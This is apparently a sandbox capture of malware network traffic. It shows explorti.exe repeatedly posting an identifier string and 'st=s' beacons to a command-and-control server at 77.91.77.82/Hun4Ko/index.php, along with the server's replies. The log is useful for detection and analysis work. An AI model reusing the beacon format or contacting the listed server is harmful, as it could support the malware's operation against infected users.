Jul 1, 2024 07:21:31.807173014 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:32.034982920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49758	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:32.142746925 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:32.860160112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:32.861222982 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:33.086307049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49759	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:33.206342936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:33.936041117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:33.936985970 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:34.165615082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49760	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:34.283608913 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:34.971431017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:34.974526882 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:35.191605091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49761	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:35.299218893 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:36.013947964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:36.014780045 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:36.236269951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49762	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:36.345937967 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:37.060298920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:37.061127901 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:37.285152912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49763	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:37.392687082 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:38.103137970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:38.104093075 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:38.327682018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49764	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:38.443120003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:39.151175976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:39.152093887 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:39.370984077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49765	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:39.487212896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:40.211707115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:40.212573051 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:40.438178062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49766	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:40.552344084 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:41.276988983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:41.277939081 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:41.503655910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49768	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:41.611856937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:42.302119017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:42.304631948 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:42.521543026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49769	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:42.659279108 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:43.349040985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:43.351152897 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:43.711133957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49770	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:43.830194950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:44.545429945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:44.546312094 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:44.770574093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
